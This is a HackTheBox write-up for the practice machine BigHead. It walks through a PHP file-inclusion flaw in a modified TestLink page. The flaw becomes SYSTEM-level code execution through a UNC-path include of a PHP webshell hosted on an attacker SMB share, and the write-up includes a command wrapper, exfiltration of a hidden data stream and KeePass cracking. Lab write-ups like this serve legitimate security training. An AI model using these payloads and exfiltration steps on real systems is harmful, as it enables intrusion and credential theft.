HTB: BigHead Writeup
BigHead - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | BigHead |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.186 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
BigHead presents itself as a cryptocurrency-themed web app fronted by nginx 1.14.0, with a custom BigheadWebSvr 1.0 service tucked behind a dev.bighead.htb vhost — the box’s intended foothold is a hand-rolled strcpy buffer overflow in that binary’s HEAD-request handler, reachable only after heap-spraying shellcode via a /coffee POST and triggering it with an egghunter. That entire chain turned out to be avoidable: a second vhost, code.bighead.htb, exposed a modified TestLink installation whose linkto.php endpoint accepted a PiperCoinID parameter that gets require_once()’d without sanitization — a textbook PHP Local File Inclusion. Rather than burning turns on the Windows binary exploit, I verified the LFI endpoint was reachable directly from the VPN and pivoted straight to it, using a UNC-path include against a self-hosted SMB share to get code execution as NT AUTHORITY\SYSTEM (Apache/XAMPP on this box runs under the SYSTEM account). From there, both user.txt and root.txt fell out of the same SYSTEM shell — though root.txt on disk is a troll (Satan-prayer ASCII art), with the real flag hidden inside an NTFS Alternate Data Stream (root.txt:Zone.Identifier) holding a KeePass 2 database that required a rockyou crack plus a keyfile to open.
TL;DR: dev.bighead.htb BigheadWebSvr overflow → (skipped — LFI shortcut found) → code.bighead.htb/testlink/linkto.php PHP LFI via raw (non-base64) PiperCoinID → UNC-path include of a PHP webshell served from impacket-smbserver → RCE as NT AUTHORITY\SYSTEM → user.txt → certutil -encode exfil of root.txt:Zone.Identifier ADS (KeePass DB + keyfile) → John cracks KeePass master password against rockyou → root.txt.
Reconnaissance
Port Scanning
Recon matched the intended box layout: nginx 1.14.0 fronting the host, with the interesting content living behind name-based virtual hosts.
# From the jump box, confirm the custom web server behind the dev vhostcurl -s -I -H 'Host: dev.bighead.htb' http://10.129.65.186/curl -s -H 'Host: code.bighead.htb' -I http://10.129.65.186/testlink/linkto.phpResults: Only 80/tcp was open (nginx 1.14.0). Requests to dev.bighead.htb return a Server: BigheadWebSvr 1.0 header, confirming the custom binary from the box’s public GitHub repo is the intended foothold service. Requests to code.bighead.htb/testlink/linkto.php returned a live response — the modified TestLink LFI endpoint was reachable directly, without needing to pivot through the binary exploit or lateral SSH movement first.
Service Enumeration
Two virtual hosts mattered for this run:
dev.bighead.htb— frontsBigheadWebSvr 1.0, a custom C web server whose HEAD-request handler is vulnerable to a stack buffer overflow (strcpyinto a fixed 32-byte buffer, per the publicly disclosed source). Exploiting it requires a heap-spray/egghunter chain to land awindows/shell_reverse_tcppayload — non-trivial, and gzip-encoded to survive the nginx reverse proxy’s URL-encoding of the payload.code.bighead.htb/testlink— a customized TestLink install. Itslinkto.phpfile contains a bolted-on “PipperCoin authentication” snippet that conditionally sets a variable from POST data and later feeds it torequire_once()with no validation:
// custom code added to linkto.phpif (isset($_POST['PiperID'])) { $PiperCoinAuth = $_POST['PiperCoinID']; $PiperCoinSess = base64_decode($PiperCoinAuth); $PiperCoinAvitar = (string)$PiperCoinSess;}// ... later in the file ...require_once($PiperCoinAuth);Vulnerability Assessment
- BigheadWebSvr 1.0 — stack buffer overflow (HEAD request handler). A
strcpy()copies attacker-controlled HEAD-request data into a fixed-size local buffer with no length check — classic CWE-121. Confirmed to exist on the box but not needed for this run once the LFI shortcut was validated. linkto.php— PHP Local File Inclusion / Remote Code Execution (CWE-98).require_once($PiperCoinAuth)includes whatever path is supplied in thePiperCoinIDPOST field. Critically, on the live target thebase64_decode()call is a decoy:$PiperCoinAuthitself holds the raw, undecoded POST value, so submitting a base64 string fails to include anything, while submitting a plain path (or UNC path) works directly.
Initial Foothold
Exploitation Path
I built the plan around the disclosed binary exploit first, but confirmed direct VPN reachability to the LFI endpoint before spending effort on the overflow — it turned out to be reachable, so I skipped the BigheadWebSvr heap-spray/egghunter chain entirely and went straight for the LFI.
Step 1 — Confirm which parameter actually gets included.
The reference source shows a base64_decode() alongside the raw POST value, suggesting the base64-decoded copy is what gets included. Live testing showed the opposite:
# Test 1: send PiperCoinID base64-encoded (per the decoy code path)import base64, urllib.request, urllib.parsedef t(p): d = urllib.parse.urlencode({'PiperID': '1', 'PiperCoinID': base64.b64encode(p.encode())}).encode() # POST to linkto.php with Host: code.bighead.htb ...t('C:\\Windows\\win.ini') # -> fails, nothing included# Test 2: send PiperCoinID as a raw, plain pathimport urllib.request, urllib.parsedef t(p): d = urllib.parse.urlencode({'PiperID': '1', 'PiperCoinID': p}).encode() ...t('C:\\Windows\\win.ini') # -> win.ini contents returned in responsewin.ini came back in the response body on the second test — confirming the raw PiperCoinID value is what require_once() actually consumes, and that arbitrary local file inclusion works with no encoding gymnastics.
Step 2 — Escalate LFI to RCE via a UNC-path include.
Direct http:// includes were disabled (PHP allow_url_include off, as expected on a hardened target), so a URL-based remote webshell wasn’t viable. Windows PHP, however, resolves UNC paths (\\host\share\file.php) through the filesystem stream wrapper, so hosting the payload over SMB and including it via UNC path bypasses the URL-include restriction entirely:
# Stand up a minimal PHP webshell to be served over SMBmkdir -p /tmp/bh/sharecat > /tmp/bh/share/pwn.php <<'EOF'<?php echo "PWNOK:"; system($_REQUEST["pwn"]); ?>EOF
# Serve it with impacket's SMB server (anonymous share, no auth needed for read-only file serving)impacket-smbserver share /tmp/bh/share -smb2support# Trigger the include over UNC path — PiperCoinID becomes \\<LHOST>\share\pwn.phpimport urllib.request, urllib.parsed = urllib.parse.urlencode({ 'PiperID': '1', 'PiperCoinID': r'\\10.10.15.68\share\pwn.php'}).encode()# POST to http://code.bighead.htb/testlink/linkto.phpThe response confirmed PHP fetched and executed pwn.php from the SMB share, and a follow-up whoami through the pwn parameter returned nt authority\system — Apache/XAMPP on this box runs as SYSTEM, so the very first RCE lands with the highest privilege available, no separate privesc chain needed.
Step 3 — Wrap it into a reusable RCE helper.
# rc.py — quick wrapper to run arbitrary cmd.exe commands through the LFI webshellimport urllib.request, urllib.parse, sys, recmd = sys.argv[1]d = urllib.parse.urlencode({ 'PiperID': '1', 'PiperCoinID': r'\\10.10.15.68\share\pwn.php', 'pwn': 'cmd /c ' + cmd}).encode()# POST d to http://code.bighead.htb/testlink/linkto.php, print responseThis gave a fast semi-interactive shell for the remaining enumeration and flag retrieval — all running as NT AUTHORITY\SYSTEM.
user.txt was retrieved directly through this shell and matched.
Privilege Escalation
No additional privilege escalation was required — the LFI-to-UNC-include RCE already executes as NT AUTHORITY\SYSTEM. The remaining work was locating and decrypting the actual root flag, since C:\Users\Administrator\Desktop\root.txt on disk is a troll file (Satan-prayer ASCII art) rather than the real flag.
Locating the Real Flag (NTFS Alternate Data Stream)
Windows lets a file carry hidden, named Alternate Data Streams alongside its primary content. root.txt:Zone.Identifier — normally used by Windows to tag downloaded files with their origin zone — instead held a 7294-byte binary blob: a KeePass 2 database.
copy cannot push an ADS directly to a remote UNC share, so the stream was base64-encoded locally on the target first, then pulled off over SMB:
# Base64-encode the ADS so it survives transfer as ordinary text/binary contentcertutil -encode C:\Users\Administrator\Desktop\root.txt:Zone.Identifier C:\Windows\Temp\f.b64
# Copy the encoded file (a normal file, not an ADS) to our SMB sharecopy C:\Windows\Temp\f.b64 \\10.10.15.68\share\f.b64
# Also grab the keyfile referenced elsewhere on the boxcopy C:\Users\Administrator\Desktop\admin.png \\10.10.15.68\share\admin.pngDecoding and Cracking the KeePass Database
# Strip certutil's CERTIFICATE header/footer and CRLFs, then base64-decodegrep -v CERTIFICATE share/f.b64 | tr -d '\r' | base64 -d > root.kdbxfile root.kdbx # confirms Keepass password database 2.xls -l root.kdbx # 7294 bytes — matches the ADS size
# Extract a crackable hash, incorporating the keyfilekeepass2john -k share/admin.png root.kdbx > kp.hash# Crack the KeePass master password with rockyoujohn --wordlist=/usr/share/wordlists/rockyou.txt kp.hashjohn --show kp.hash# -> password: darknessWhy this works: KeePass 2.x databases can be protected by a master password, a keyfile, or both. Here the database required both darkness (cracked from rockyou) and the admin.png keyfile pulled alongside it — keepass2john -k bakes the keyfile into the crackable hash so John can validate password guesses against the combined key derivation.
# Open the database and dump entriespython3 -c "from pykeepass import PyKeePassk = PyKeePass('root.kdbx', password='darkness', keyfile='share/admin.png')for e in k.entries: print(e.title, e.username, e.password, e.notes)"The “Gilfoyle” entry in the opened database held the real root.txt flag content.
Cleanup
# Remove the base64 staging file left on the targetpython3 rc.py 'del C:\Windows\Temp\f.b64'
# Kill the SMB server on the jump boxpkill -f impacket-smbserverAttack Chain Summary
nginx 1.14.0 (port 80) → vhost enumeration ├─ dev.bighead.htb → BigheadWebSvr 1.0 (strcpy overflow, confirmed present, NOT exploited) └─ code.bighead.htb/testlink/linkto.php → raw PiperCoinID → require_once() PHP LFI → UNC-path include (\\LHOST\share\pwn.php via impacket-smbserver) → RCE as NT AUTHORITY\SYSTEM (Apache/XAMPP runs as SYSTEM) → user.txt captured directly → root.txt on disk = troll (ASCII art) → root.txt:Zone.Identifier ADS = KeePass 2 database (7294 bytes) → certutil -encode + SMB exfil of ADS + keyfile (admin.png) → keepass2john -k + John/rockyou → password "darkness" → pykeepass open → "Gilfoyle" entry → root.txtTools Used
| Tool | Purpose |
|---|---|
curl | Vhost/header enumeration, LFI probing |
python3 (urllib) | Crafting POST requests to linkto.php for LFI/RCE testing |
impacket-smbserver | Serving pwn.php over SMB for UNC-path PHP include |
certutil | Base64-encoding the root.txt:Zone.Identifier ADS for exfiltration over SMB |
keepass2john | Generating a John-crackable hash from a keyfile-protected KeePass 2 DB |
john (rockyou.txt) | Cracking the KeePass master password |
pykeepass | Programmatically opening the cracked KeePass database and reading entries |
Key Learnings
Techniques Practiced
- Virtual-host based attack surface enumeration on a single open port
- Identifying decoy code paths in modified open-source PHP (TestLink) — the
base64_decode()branch was a red herring; the raw POST value was what mattered - PHP LFI-to-RCE escalation via UNC path when
allow_url_includeblocks HTTP-based remote includes - Hosting attacker-controlled PHP over SMB with
impacket-smbserveras an include target - Extracting and exfiltrating NTFS Alternate Data Streams when direct UNC
copyof an ADS is refused, viacertutil -encodeas an intermediate text-safe transfer format - Cracking a keyfile-protected KeePass 2 database with
keepass2john -k+ John the Ripper
Lessons Learned
- Always validate whether a documented “hard” foothold is still the only path in. The intended chain for this box is a full binary exploit (reverse engineering, buffer-overflow analysis, egghunter shellcode) followed by lateral movement through a registry-leaked nginx password and SSH port-forwarding. Checking reachability of the endgame LFI endpoint first — before investing in the overflow — turned an Insane-rated multi-stage chain into a single request.
- Don’t trust code comments or the “obvious” data flow — trace what’s actually executed. The presence of
base64_decode()next to the raw POST assignment strongly implies the decoded value is used downstream; only testing both paths against the live target revealed the raw value was whatrequire_once()actually consumed. allow_url_include=Offdoesn’t close every remote-include door on Windows. UNC paths (\\host\share\file.php) are resolved by PHP’s filesystem wrapper independently of the URL-wrapper restriction, making an SMB-hosted payload a reliable bypass on Windows targets.- ADS is a legitimate flag/credential hiding spot, and has transfer quirks of its own.
copyrefuses to push a named stream directly across a UNC path; encoding it first (certutil -encode) sidesteps that restriction cleanly.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, “Bighead” HackTheBox Official Writeup (Document No. D19.100.16, Machine Author: 3mrgnc3) — used here for background on the intended
BigheadWebSvr 1.0binary exploitation chain (heap spray + egghunter), the registry-based nginx credential disclosure, and the CWE-121strcpyoverflow analysis referenced in the Reconnaissance and Initial Foothold sections. All IPs, command outputs, and credentials in this writeup are from the live solve against10.129.65.186, not from the reference document.